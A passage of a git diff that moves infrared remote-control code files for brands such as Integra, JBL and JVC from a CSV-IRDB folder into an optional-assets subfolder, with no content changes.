assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,172.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,2.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,2.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,2.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,2.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,25.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,25.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,25.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,25.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,30.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,30.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,30.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,30.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,108.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,108.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,108.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,108.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,109.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,109.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,109.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,109.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,17.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,17.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,17.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,17.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,172.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,172.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,172.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,172.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,18.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,18.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,18.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,18.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,19.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,19.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,19.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,19.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,2.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,2.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,2.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,2.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,20.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,20.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,20.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,20.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,21.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,21.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,21.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,21.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,22.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,22.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,22.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,22.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,23.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,23.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,23.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,23.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,24.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,24.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,24.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,24.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,25.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,25.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,25.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,25.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,30.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,30.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,30.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,30.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,43.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,43.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,43.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,43.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Tuner/210,109.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Tuner/210,109.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Integra/Tuner/210,109.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Tuner/210,109.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Tuner/210,2.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Tuner/210,2.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Integra/Tuner/210,2.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Tuner/210,2.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/iPod/210,108.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/iPod/210,108.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Integra/iPod/210,108.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/iPod/210,108.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/iPod/210,109.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/iPod/210,109.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Integra/iPod/210,109.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/iPod/210,109.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/iPod/210,172.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/iPod/210,172.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Integra/iPod/210,172.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/iPod/210,172.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/iPod/210,2.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/iPod/210,2.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Integra/iPod/210,2.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/iPod/210,2.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/IntelliNet Controls/Distributed Audio/0,90.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/IntelliNet Controls/Distributed Audio/0,90.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/IntelliNet Controls/Distributed Audio/0,90.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/IntelliNet Controls/Distributed Audio/0,90.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Interact/Unknown_I-22121/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Interact/Unknown_I-22121/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Interact/Unknown_I-22121/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Interact/Unknown_I-22121/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Intervideo/VCR/49,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Intervideo/VCR/49,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Intervideo/VCR/49,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Intervideo/VCR/49,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Intervision/Unknown_Intervision/134,107.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Intervision/Unknown_Intervision/134,107.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Intervision/Unknown_Intervision/134,107.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Intervision/Unknown_Intervision/134,107.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Irradio/3331_DVB-T/1,254.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Irradio/3331_DVB-T/1,254.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Irradio/3331_DVB-T/1,254.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Irradio/3331_DVB-T/1,254.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Irradio/Unknown_IrradioHIFI1300V/162,162.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Irradio/Unknown_IrradioHIFI1300V/162,162.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Irradio/Unknown_IrradioHIFI1300V/162,162.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Irradio/Unknown_IrradioHIFI1300V/162,162.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JBL/Receiver/64,47.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JBL/Receiver/64,47.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JBL/Receiver/64,47.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JBL/Receiver/64,47.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JBL/Surround Processor/130,11.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JBL/Surround Processor/130,11.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JBL/Surround Processor/130,11.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JBL/Surround Processor/130,11.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JBL/Surround Processor/132,66.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JBL/Surround Processor/132,66.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JBL/Surround Processor/132,66.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JBL/Surround Processor/132,66.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JBL/Surround Processor/28,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JBL/Surround Processor/28,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JBL/Surround Processor/28,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JBL/Surround Processor/28,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JENSEN/VCR/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JENSEN/VCR/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JENSEN/VCR/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JENSEN/VCR/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/CD Jukebox/179,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/CD Jukebox/179,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/CD Jukebox/179,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/CD Jukebox/179,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/CD Jukebox/34,33.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/CD Jukebox/34,33.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/CD Jukebox/34,33.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/CD Jukebox/34,33.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/CD Jukebox/34,48.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/CD Jukebox/34,48.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/CD Jukebox/34,48.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/CD Jukebox/34,48.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/CD Player/179,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/CD Player/179,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/CD Player/179,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/CD Player/179,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/CD Player/179,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/CD Player/179,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/CD Player/179,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/CD Player/179,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/CD Player/34,33.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/CD Player/34,33.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/CD Player/34,33.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/CD Player/34,33.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/CD Player/34,48.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/CD Player/34,48.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/CD Player/34,48.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/CD Player/34,48.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Camcorder/211,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Camcorder/211,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Camcorder/211,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Camcorder/211,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Camcorder/67,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Camcorder/67,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Camcorder/67,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Camcorder/67,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Cassette Tape/131,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Cassette Tape/131,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Cassette Tape/131,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Cassette Tape/131,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/D-VHS/67,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/D-VHS/67,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/D-VHS/67,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/D-VHS/67,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/DVD Player/179,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/DVD Player/179,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/DVD Player/179,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/DVD Player/179,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/DVD Player/239,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/DVD Player/239,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/DVD Player/239,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/DVD Player/239,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/DVD Player/26,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/DVD Player/26,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/DVD Player/26,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/DVD Player/26,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/DVD Recorder/111,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/DVD Recorder/111,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/DVD Recorder/111,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/DVD Recorder/111,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/HD-ILA Projection/115,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/HD-ILA Projection/115,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/HD-ILA Projection/115,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/HD-ILA Projection/115,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/HD-ILA Projection/15,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/HD-ILA Projection/15,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/HD-ILA Projection/15,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/HD-ILA Projection/15,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/HD-ILA Projection/3,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/HD-ILA Projection/3,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/HD-ILA Projection/3,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/HD-ILA Projection/3,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/HD-ILA Projection/67,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/HD-ILA Projection/67,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/HD-ILA Projection/67,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/HD-ILA Projection/67,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Karaoke/179,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Karaoke/179,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Karaoke/179,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Karaoke/179,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Karaoke/191,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Karaoke/191,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Karaoke/191,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Karaoke/191,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Karaoke/3,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Karaoke/3,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Karaoke/3,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Karaoke/3,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/LCD TV/3,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/LCD TV/3,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/LCD TV/3,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/LCD TV/3,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/LCD/15,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/LCD/15,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/LCD/15,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/LCD/15,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/LCD/3,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/LCD/3,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/LCD/3,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/LCD/3,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/LCD/35,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/LCD/35,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/LCD/35,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/LCD/35,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/LCD/67,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/LCD/67,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/LCD/67,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/LCD/67,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Mini System/131,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Mini System/131,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Mini System/131,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Mini System/131,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Mini System/159,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Mini System/159,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Mini System/159,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Mini System/159,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Mini System/163,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Mini System/163,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Mini System/163,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Mini System/163,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Mini System/175,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Mini System/175,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Mini System/175,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Mini System/175,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Mini System/179,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Mini System/179,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Mini System/179,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Mini System/179,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Mini System/31,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Mini System/31,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Mini System/31,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Mini System/31,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Monitor/3,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Monitor/3,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Monitor/3,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Monitor/3,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Monitor/67,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Monitor/67,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Monitor/67,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Monitor/67,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Plasma/31,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Plasma/31,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Plasma/31,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Plasma/31,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Projector/115,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Projector/115,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Projector/115,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Projector/115,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Receiver/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Receiver/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/121,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Receiver/121,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/121,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Receiver/121,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/131,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Receiver/131,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/131,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Receiver/131,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/147,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Receiver/147,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/147,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Receiver/147,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/159,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Receiver/159,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/159,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Receiver/159,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/163,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Receiver/163,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/163,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Receiver/163,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/175,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Receiver/175,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/175,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Receiver/175,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/179,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Receiver/179,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/179,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Receiver/179,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/191,-1.ir 